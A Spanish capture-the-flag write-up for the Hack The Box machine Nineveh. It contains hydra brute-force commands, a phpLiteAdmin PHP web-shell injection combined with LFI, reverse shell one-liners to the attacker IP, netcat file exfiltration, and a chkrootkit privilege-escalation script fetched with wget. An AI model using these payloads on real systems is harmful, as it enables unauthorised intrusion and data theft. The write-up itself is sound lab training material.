En este writeup vamos a ver cómo resolver la máquina Nineveh de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb-vip.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.84
El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.
Vamos a hacer un escaneo de puertos:
$ nmap -p- -A 10.10.10.43 -n -v
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Issuer: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-07-01T15:03:30
| Not valid after: 2018-07-01T15:03:30
| MD5: d182 94b8 0210 7992 bf01 e802 b26f 8639
|_SHA-1: 2275 b03e 27bd 1226 fdaa 8b0f 6de9 84f0 113b 42c0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Vemos que tiene el puerto 80 abierto. Si nos vamos al navegador vemos lo siguiente:
Si pasamos un escáner con dirbuster podemos encontrarnos con la siguiente estructura de ficheros y directorios:
Si revisamos el fichero info.php podemos ver que se trata de un apache con la versión 7.0.18 de PHP y que el document root está en /var/www/html.
Dentro del directorio de department hay un index.php y un login.php. Si tratamos de ir a /department/index.php nos redireccionará a /department/login.php
La página de /department/login.php tiene un formulario de inicio de sesión y si revisamos su código fuente encontramos el siguiente comentario:
Parece ser un usuario (amrois)
Si pasamos otra vez un gobuster al URI /department y buscando por archivos php,js o txt tampoco encontraremos gran cosa:
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.43/department -x php,js,txt
Tan solo hemos encontrado un fichero más llamado manage.php….
Vamos a intentar hacer un ataque de bruteforce al login. Para ello vamos a utilizar hydra:
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 -V http-post-form '/department/login.php:username=^USER^&password=^PASS^:Invalid Password!'
Después de un rato encontramos la contraseña:
[80][http-post-form] host: 10.10.10.43 login: admin password: 1q2w3e4r5t
Una vez dentro del backend de la aplicación podemos encontrar la siguiente URL:
http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt
Y el contenido del fichero impreso por pantalla:
Intentando hacer un ataque LFI no parece ser que tenga mucho efecto aquí…
Sin embargo si revisamos la web por el puerto 443 nos encontramos con un contenido diferente al del puerto 80:
Así que vamos a volver a pasar gobuster pero por el puerto 443 a ver si encontramos algo más:
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.43 -k
Después de un rato nos arroja que existe un directorio /db
Si lo visitamos desde el navegador podremos ver un panel de login.
Vamos a volver a hacer un ataque de fuerza bruta con hydra para sacar la contraseña:
hydra 10.10.10.43 -l whatever -P /usr/share/wordlists/rockyou.txt https-post-form "/db/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -V -s 443
Tenemos la contraseña!
[443][http-post-form] host: 10.10.10.43 login: admin password: password123
Una vez dentro vemos un panel de administración de bases de datos. Buscando por la tecnología y la versión en Google (phpLiteAdmin v1.9) vemos que hay un exploit disponible para poder inyectar código:
https://www.exploit-db.com/exploits/24044
Creamos una base de datos nueva que se llame ninevehNotes.php
Creamos una tabla nueva que se llame shell con un único campo
Elegimos que el campo sea de tipo texto y cuyo nombre sea lo siguiente:
<?php echo system($_REQUEST["cmd"]); ?>
Si nos fijamos en dónde se ha guardado la base de datos vemos lo siguiente:
El path es /var/tmp/ninevehNotes.php por lo que podemos pasar este path al parámetro notes de la página de administración:
URL Correcta: http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt
URL Maliciosa: http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=ls
Como el campo de la base de datos tiene esta instrucción por nombre
<?php echo system($_REQUEST["cmd"]); ?>
Cualquier comando que le pasemos al parámetro cmd de la url lo ejecutará.
Capturar User Flag
Teniendo lo anterior presente y con la página del panel de administración preparada para ejecutar comandos vamos a intentar ejecutar una shell reversa.
Tenemos que levantar una conexión netcat en una terminal nueva a la espera de conexiones.
$ nc -nlvp 4444
El primer comando que he probado ha sido con la reverse shell de bash:
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
Pero no ha funcionado….
El siguiente comando ha sido con el netcat de openbsd:
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f
Pero tampoco ha funcionado así que lo que hay que hacer es pasar el comando por un url encode como este https://meyerweb.com/eric/tools/dencoder/ y finalmente nos queda una url como la siguiente:
Si volvemos a la terminal con netcat escuchando vemos que hemos recibido una nueva conexión:
Si intentamos ir al directorio /home/amrois vemos que no podemos acceder al fichero user.txt por falta de permisos. Tampoco podemos hacer un sudo -l con este usuario por lo que tenemos que buscar otras vías.
Si vamos a /var/www vemos que hay un directorio llamado ssl. En él se encuentran el directorio secure_notes con el fichero nineveh.png y un fichero llamado ninevehForAll.png en el directorio padre.
Vamos a transferirnos esa imágen a nuestra máquina. En nuestra máquina abrimos una nueva conexión de la siguiente forma:
$ nc -nvlp 12345 > ninevehForAll.png
Y en la máquina remota enviamos el fichero tal que así:
$ nc -nv 10.10.14.7 12345 < ninevehForAll.png
Una vez la tengamos descargada lo volvemos a hacer con el fichero nineveh.png.
Ya en nuestra máquina podemos analizar el contenido de estos ficheros con el comando strings. Si lo hacemos con el fichero nineveh.png después de toda la inf
$ strings nineveh.png
....
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
....
Y un poco más abajo una clave pública:
www-data
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB.....
.....
Guardamos las claves en el directorio $HOME/.ssh de nuestra máquina y si tratamos de conectarnos de la siguiente forma no nos dejará:
$ ssh -i nineveh.public amrois@10.10.10.43
Esto puede evidenciar de que hay tecnología de port knocking en el servidor así que para ello vamos a revisar la configuración del servidor:
$ cat /etc/knockd.conf
[options]
logfile = /var/log/knockd.log
interface = ens160
[openSSH]
sequence = 571, 290, 911
seq_timeout = 5
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 911,290,571
seq_timeout = 5
start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
Esto nos dice que para abrir el puerto 22 tenemos que tocar antes los puertos 571, 290 y 911 en ese orden y para ello tenemos que usar NMAP.
Nos instalamos knockd:
$ sudo apt-get install knockd -y
Y ejecutamos lo siguiente:
$ knock 10.10.10.43 571:tcp 290:tcp 911:tcp
También podemos hacerlo con nmap:
$ for x in 571 290 911; do nmap -Pn --host-timeout 201 --max-retries 0 -p $x 10.10.10.43; done
Otra forma de hacer port knocking
Otra forma de hacer portknocking es con netcat:
for port in 571 290 911; do nc -w 1 servidor.com $port; done
Después de esto ya podremos conectarnos por ssh:
ssh -i id_rsa amrois@10.10.10.43
Update
Como no funciona el tema del port knocking debido a que no está levantado el demonio y el firewall sigue bloqueando las conexiones por el puerto 22 no podemos ejecutar este método.
Para ver si el demonio está levantado o no se ejecuta lo siguiente:
$ ps aux | grep /usr/sbin/knock
Así que lo que vamos a hacer es tratar de conseguir las flags a través de chrootkit que está instalado en la máquina.
Sabemos que chkrootkit tiene el script /usr/sbin/report-reset.sh que busca que en el directorio /tmp exista un fichero llamado update.
El primer paso es desde nuestra máquina crear el fichero update con el siguiente contenido:
#!/bin/bash
cat /root/root.txt > /tmp/root.txt
cat /home/amrois/user.txt > /tmp/user.txt
Y la transmitimos a la máquina vulnerada al directorio /tmp y le damos permisos
$ cd /tmp
$ wget http://10.10.14.7:8000/update
$ chmod +x update
Cuando ejecutemos el script de /usr/sbin/report-reset.sh veremos como automáticamente se nos habrán creado en ese mismo directorio dos ficheros con las flags correspondientes